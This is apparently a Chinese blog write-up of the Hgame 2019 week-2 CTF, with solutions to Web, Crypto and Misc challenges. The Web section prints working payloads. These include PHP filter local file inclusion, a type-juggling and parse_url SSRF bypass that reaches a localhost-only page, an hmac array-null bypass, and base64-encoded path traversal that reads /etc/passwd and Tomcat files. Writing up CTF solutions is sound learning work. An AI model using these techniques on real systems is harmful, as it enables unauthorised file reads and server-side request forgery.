V0W's Blog

杭电Hgame2019-week2-WP

字数统计: 3,322阅读时长: 17 min
2019/02/10 Share

Web

easy_php

描述
代码审计♂第二弹
URL http://118.24.25.25:9999/easyphp/index.html

robots.txt得到img/index.php

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

本地文件包含,双写绕过过滤就行

payload

1
http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=..././flag
1
2
3
PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK 

<?php //$flag = 'hgame{You_4re_So_g0od}'; echo "maybe_you_should_think_think";

flag

1
hgame{You_4re_So_g0od}

php trick

描述
some php tricks
URL http://118.24.3.214:3001

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

几个简单的php trick

  1. md5+ php弱类型
  2. md5不处理数组
  3. php在接受数据时会自动把’+‘和’.‘替换为’_’
  4. php中数字总是比数组小

之后发现像是一个SSRF, 结合访问admin.php得到的提示:only localhost can see it,而可以推测,这里是通过SSRF来读文件。

但是代码中有一小段对url做了过滤,需要绕过一下, 参考https://www.jianshu.com/p/b31b7b1ca3cb

原理:主要利用parse_url将最后一个有效的@host作为host。

1
2
3
4
5
6
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}

最后的payload:

1
http://118.24.3.214:3001/?str1=240610708&str2=QNKCDZO&str3[]=123&str4[]=456&H+game[]=&url=http://@127.0.0.1:80@www.baidu.com/admin.php

之后,得到admin.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

不允许文件名为存在的文件名,笔者采用php伪协议文件流绕过:

1
?filename=php://filter/read=convert.base64-encode/resource=./flag.php

也可以通过xxxdir/../flag.php方式绕过

最终payload

1
http://118.24.3.214:3001/?str1=240610708&str2=QNKCDZO&str3[]=123&str4[]=456&H+game[]=&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=./flag.php

flag

1
2
PD9waHAgJGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHIxY2tzfSA/Pgo=
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

PHP Is The Best Language

描述
var_dump了解一下
URL http://118.25.89.91:8888/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  

include 'secret.php';

#echo $flag;
#echo $secret;

if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}

if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}

$gate = hash_hmac('sha256', $_POST['key'], $secret);

if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}

?>

首先,secret用了一个hash_mac函数,这个函数有问题的,查手册,容易发现:

1
hash_hmac( string $algo, string $data, string $key[, bool $raw_output = FALSE] )

函数处理的$data参数是数组的时候,会出错返回NULL,于是我们可以利用这一点使secret可控。php弱类型null==0

1
(md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1

一种是通过md5($_POST['key']) == (md5(md5(​$_POST['key'])))

二种是因为+1的存在,找到两个值开头数字相同的就可以了。

我选择第一种,找到了这个7r4lGXCH2Ksu2JNT3BYM

1
2
3
4
5
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) =>
0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) =>
0e48d320b2a97ab295f5c4694759889f

求gate:

1
2
3
4
5
php> var_dump(hash_hmac('sha256',
'7r4lGXCH2Ksu2JNT3BYM', NULL))
string(64)
"81f581b7553943f5041f054ca92e5e7e490e2c40296a93d94d214f1
36aa84fe6"

最终payload

1
gate=81f581b7553943f5041f054ca92e5e7e490e2c40296a93d94d214f136aa84fe6&key=7r4lGXCH2Ksu2JNT3BYM&door[]=1

flag

1
hgame{Php_MayBe_Not_Safe}

Baby_Spider

描述
Come to death in the ocean of mathematics together with Li4n0!
Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~
hint1:The most basic operation of a spider is to disguise itself.
hint2:Always believe only what you see with your own eyes
URL http://111.231.140.29:10000

1-10 关

正常的爬虫,但是注意加上UA头。

11-20 关

使用了一个很骚的反爬虫机制,更换了css中的字体。

使得浏览器显示的数字与content中的数字不同。

将字体下载下来,找到一一对应关系,写一个替换规则就好了。

21-30关

使用after伪元素做了替换,这里直接抓取一下css中真实的算式就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: UTF-8 -*-
import requests
import re

header={
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
}
token={
'token':'T0tI6mS6pFyAISBhgrM8BN1k0MOdNM88'
}
list='1026943587'
url='http://111.231.140.29:10000/'
url1='http://111.231.140.29:10000/question'
url2='http://111.231.140.29:10000/solution'
url3='http://111.231.140.29:10000/statics/style.css'
res = '<span>(.*?)='
r=requests.post(url=url,data=token)
session=r.cookies
print("[*] "+"-"*40)

for i in range(0,10):
math = re.findall(res, r.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
print('[+] %d :'%i + math)
math = eval(math)
result = {
'answer': math
}
r=requests.post(url=url2,data=result,cookies=session,headers=header)
session = r.cookies
print("[*] " + "-" * 40)

tmp=''
for i in range(10,20):
math = re.findall(res, r.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
for j in math:
if ord(j) > 47:
tmp += list[int(j)]
else:
tmp += j
math = tmp
tmp = ''
print('[+] %d :' % i + math)
answer = (eval(math))
result = {
'answer': answer
}
r = requests.post(url=url2, data=result, cookies=session, headers=header)
session = r.cookies
print("[*] " + "-" * 40)



res = 'content:"(.*?)='
for i in range(20,30):
css = requests.get(url=url3, cookies=session, headers=header)
math = re.findall(res, css.content.decode('utf-8'))
math = str(math)[2:len(math) - 3]
print('[+] %d :' % i + math)
answer = (eval(math))
result = {
'answer': answer
}
r = requests.post(url=url2, data=result, cookies=session, headers=header)
session=r.cookies
print("[*] " + "-" * 40)
if "hgame" in r.content.decode('utf-8'):
print(r.content.decode('utf-8'))
1
2
3
4
5
[+] 28 :3898465/(242636442/774712632/627122699/(524541058))
[*] ----------------------------------------
[+] 29 :(699759722/65326526+789619879*78001637+875760928)
[*] ----------------------------------------
hgame{88c240c943d3f724a0bb59ebe37a5a49da22e40c0a8b2e0e659131165ea18825}

Math有趣

描述
Math is interesting, isn’t it?
update: 题中最后的^是乘方,不是xor
hint: 了解一下tomcat、spring mvc的目录结构和配置文件(自己搭一下就明白了
hint2: 图片目录不在web目录下
URL http://test.tan90.me:8080/index.php

回答完1+1=2后,正式进入题目,看到一个很复杂的数学问题,本想瞎子啊下来直接搜索看答案,但是发现下载下来文件叫cXVlc3Rpb24ucG5n.php。怎么这么奇怪,为什么还是php,这里会想到是有点像url重写技术

但是明眼人一下就看出来,这只是一段简单的base64,这也就造成了任意文件读取:

1
2
cXVlc3Rpb24ucG5n						question.png
Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== ../../../../etc/passwd

但是不知道flag的路径,试着读了一下,无果。于是找服务文件的路径和配置文件的路径:

1
../../../../proc/self/environ		Li4vLi4vLi4vLi4vcHJvYy9zZWxmL2Vudmlyb24=

之后呢,看看tomcat的配置/usr/local/tomcat/conf/server.xml发现出题人并没有修改默认的web路径,还是在/usr/local/tomcat/webapps/ROOT

接下来,看一下ROOT/WEB-INF/web.xml

发现一个mathyouqu的路由:访问mathyouqu-servlet.xml

但是只有包名hgame.controller没有具体的文件名。

回头试试看有没有报错之类的,因为其使用base64编解码,于是错误的BASE64可能会导致java类报错:

得到class文件

1
2
3
../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class

Li4vLi4vLi4vLi4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvV0VCLUlORi9jbGFzc2VzL2hnYW1lL2NvbnRyb2xsZXIvTWF0aENvbnRyb2xsZXIuY2xhc3M=

用Jad反编译成java文件(Jad下载链接):

1
2
3
C:\SecTools\Web渗透\JAD\jad158g.win
λ jad -o -r -s java -d src math2.class
Parsing math2.class... Generating src\hgame\controller\MathController.java

直接看关键代码:

1
2
3
4
5
6
7
8
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}

真的是一个数学问题,一个方程

1
123852^x % 612799081 = 6181254136845 % 612799081

爆破得解(但是比较耗时)

1
2
3
4
5
6
7
8
9
x = 0
while True:
res = pow(123852,x,612799081)
if res == 6181254136845 % 612799081:
print "find: " + str(x)
break
print x
x+=1
# find: 15387368

因为是第一次做有关Java的题目,也是第一次接触Java反编译,很感谢出题人,下面给出几篇参考链接

  1. java的class文件批量反编译成java
  2. Spring MVC工程结构及配置整理
  3. Windows下如何配置tomcat环境变量

Crypto

浪漫的足球圣地

描述

URL http://plir4axuz.bkt.clouddn.com/hgame2019/orz/enc.txt

1
966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559

曼切斯特编码,改成二进制

1
100101100110101010010110100101011001011010101001100101100101100110010110100110011001010101100101101001011010010110010110100101101010010110100110101001011001101010010110100110011010010110011001101001011001011010100101100101011010010110011001101001010110100110100101101010011001011010011001101001010110100110010110101001011001011010100110100101101010100110010110101001101010010110100110100101101010100110100101100101011001011010011010101001011010011010010110100101101010010110101001100101101001011010100101100101011010010110011010101001010110101010010110101010011010010110101001100101101001101010100101100110101001010101011001

参考https://zh.wikipedia.org/wiki/%E6%9B%BC%E5%BD%BB%E6%96%AF%E7%89%B9%E7%BC%96%E7%A0%81

曼彻斯特编码有两种形式,可以都试一下,本题为01->1,10->0给出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding:utf-8 
print "曼彻斯特解码\n"
#01对应1 10对应0
r=''
s='100101100110101010010110100101011001011010101001100101100101100110010110100110011001010101100101101001011010010110010110100101101010010110100110101001011001101010010110100110011010010110011001101001011001011010100101100101011010010110011001101001010110100110100101101010011001011010011001101001010110100110010110101001011001011010100110100101101010100110010110101001101010010110100110100101101010100110100101100101011001011010011010101001011010011010010110100101101010010110101001100101101001011010100101100101011010010110011010101001010110101010010110101010011010010110101001100101101001101010100101100110101001010101011001'
for i in xrange(len(s)/2):
c=s[i* 2:i*2+2]
if c=='01':
r+= '1'
else:
r+= '0'
print 'r-->' + r + '\n'
print(hex(int(r, 2))[2:-1].decode("hex"))

flag

1
hgame{3f24e567591e9cbab2a7d2f1f748a1d4}

hill

Description
hill密码,秘钥是3x3矩阵,flag的密文是TCSHXZTCXAPBDKJVJDOHJEAE,flag中含有BABYSHILL,flag是有意义的英文,最终提交格式: hgame{有意义的英文} hint1: https://en.wikipedia.org/wiki/Hill_cipher hint2: 模逆元

hill密码,已知明文攻击。贴一下官方WP吧

相关链接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import numpy as np
from sympy import Matrix
import string
import crypt
alphabet = string.ascii_uppercase

def convert2matrix(m, dimension):
for index, i in enumerate(m):
values = []
if index % dimension == 0:
for j in range(0, dimension):
values.append([alphabet.index(m[index + j])])
if index == 0:
m_mat = np.matrix(values)
else:
m_mat = np.hstack((m_mat, values))
return m_mat

if __name__ == '__main__':
m = 'BABYSHILL'
c = 'HXZTCXAPB'
dimension = 3
unknown_c = 'TCSHXZTCXAPBDKJVJDOHJEAE'
c = convert2matrix(c, dimension)
c = Matrix(c)
c_inv = c.inv_mod(26) # 模逆矩阵,直接调库了,不调库自己实现或者通过numpy的逆矩阵稍加修改可以
c_inv = c_inv.tolist()

m = convert2matrix(m, dimension)
m = np.matrix(m)
dec_key = m*c_inv
dec_key %= 26
print(dec_key)
m1 = crypt.hill_crypt(unknown_c,dec_key,dimension) #这是自己实现的简单的hill加密函数,也可用在线网站加密
print(m1)

Vigener~

Description
普通的Vigener
URL http://plir4axuz.bkt.clouddn.com/hgame2019/orz/ciphertext.txt

维吉尼亚密码解密神站

1
2
3
4
5
6
7
Zbi Namyrwjk wmhzk cw s eknlgv uz ifuxstlata edhnufwlow xwpz vc mkohk s kklmwk uz mflklagnkh Gswyuv uavbijk, huwwv uh xzw ryxlwxm sx s qycogxx. Ml ay u jgjs ij hgrsedhnufwlow wmtynmlmzcsf. Lny gahnyv ak kuwq lu orvwxmxsfj urv asjpwekhx, tmz cx jwycwlwj upd szniehzm xg txyec az zsj lnliw ukhxmjoyw, ozowl wsxhiv az nlw vkmgjavnmgf ry gzalzvw atxiuzozjjshfi. Ests twgvfi zsby xjakx xg asjpwekhx wfilchloir kunyqwk zbel sxy ikkkhxasrfc Namyrwjk wmhzklw. Af kckzlkyr kadnc lzxyi, Xjoyhjaib Oskomoa ogm xzw lcvkl zi tmtrcwz s myrwjgf qwlnih gx jygahnyvafm Pmywtyvw uojlwjy. Nlw Noaifwxy gahnyv osy ivayohedde xikuxcfwv hs Kagbur Tsznmklg Viddgms af ncw gfk nlgmyurv xopi zmtxvwv ghh xalnc-gfk vsgc Ru gaxxu hwd. Yck. Yaupef Tgnxakzu Fwdruwg, tan xzw ywlwek qek dgnij eomellxcfmlkx xg Trumkw jy Zaykhijw oh xzw tcrwln wiflalc sfj ms suwomjwj cxk hxywwfz heew. lfey ay ajqmenycpglmqqjzndhrqwpvhtaniz


key: guess


The Vigenere ciphe is a method of encrypting alphabetic text by using a series of interwoven Caesar ciphers, based on the letters of a keyword. It is a form of polyalphabetic substitution. The cipher is easy to understand and implement, but it resisted all attempts to break it for three centuries, which earned it the description le chiffre indechiffrable. Many people have tried to implement encryption schemes that are essentially Vigenere ciphers. In eighteen sixty three, Friedrich Kasiski was the first to publish a general method of deciphering Vigenere ciphers. The Vigenere cipher was originally described by Giovan Battista Bellaso in his one thousand five hundred and fifty-one book La cifra del. Sig. Giovan Battista Bellaso, but the scheme was later misattributed to Blaise de Vigenere in the nineth century and so acquired its present name. flag is gfyuytukxariyydfjlplwsxdbzwvqt

Misc

Are You Familiar with DNS Records?

Description
well, you know, this is a song-fen-ti, have fun! XD
然并卵的hint: DNS 有很多种不一样的记录类型,其中一种类型如果没有正确设置就可能被其他邮件服务器拒收,flag 就在此域名的第二条此类型记录里
URL http://project-a11.club/

https://tool.lu/dns/index.html TXT类型记录

快到火炉旁找个位置坐坐!

Description
1.从炉石传说导出的套牌为啥不能用了=。= ,还原它 2.flag为hgame{修复后的代码} 套牌代码: hint:出题人首先对数量做了些事情=。= AAECAf0EBu0FuAju9gLQwQIMigGcAq4DyQOrBMsE5gSYxALaxQKW5AK0/ALSiQOmmAMA
URL http://example.com/

参考链接 https://zhangshuqiao.org/2018-12/%E7%82%89%E7%9F%B3%E5%8D%A1%E7%BB%84%E4%BB%A3%E7%A0%81%E8%A7%A3%E6%9E%90/

找得到我嘛?小火汁

Description
ε=ε=ε=ε=ε=ε=┌(; ̄◇ ̄)┘
hint: Https
URL http://plir4axuz.bkt.clouddn.com/hgame2019/orz/safe.pcapng

FTP中找到一个压缩包,拉出来解压后发现是一个secret.log

带到流量包中,解密https流量:编辑——首选项——Protocols——SSL,加载得到的log。然后导出http对象,发现多出一个1.tar

解压得到flag.jpg,winhex打开或者exiftool打开都可以看到flag。

初识二维码

Description
你知道吗,二维码就算有缺损也能扫出来哦
hint:1.DataURI 2.QRcode基本结构
URL http://plqfgjy5a.bkt.clouddn.com/%E5%88%9D%E8%AF%86%E4%BA%8C%E7%BB%B4%E7%A0%81.zip

URI字符串可以转成图片,得到

对比二维码的基本结构,我们可以发现少了定位标志和定时标志:

题目中缺损二维码尺寸是2626,正常二维码的尺寸是((V-1)*4+21)*((V-1)*4+21)(V=版本号),定位符尺寸固定为7*7,在这个网站https://merricx.github.io/qrazybox/上可以轻松修复修复后的二维码为

1
hgame{Qu1ck_ReSp0nse_cODe}
CATALOG
  1. 1. Web
    1. 1.1. easy_php
    2. 1.2. php trick
    3. 1.3. PHP Is The Best Language
    4. 1.4. Baby_Spider
    5. 1.5. Math有趣
  2. 2. Crypto
    1. 2.1. 浪漫的足球圣地
    2. 2.2. hill
    3. 2.3. Vigener~
  3. 3. Misc
    1. 3.1. Are You Familiar with DNS Records?
    2. 3.2. 快到火炉旁找个位置坐坐!
    3. 3.3. 找得到我嘛?小火汁
    4. 3.4. 初识二维码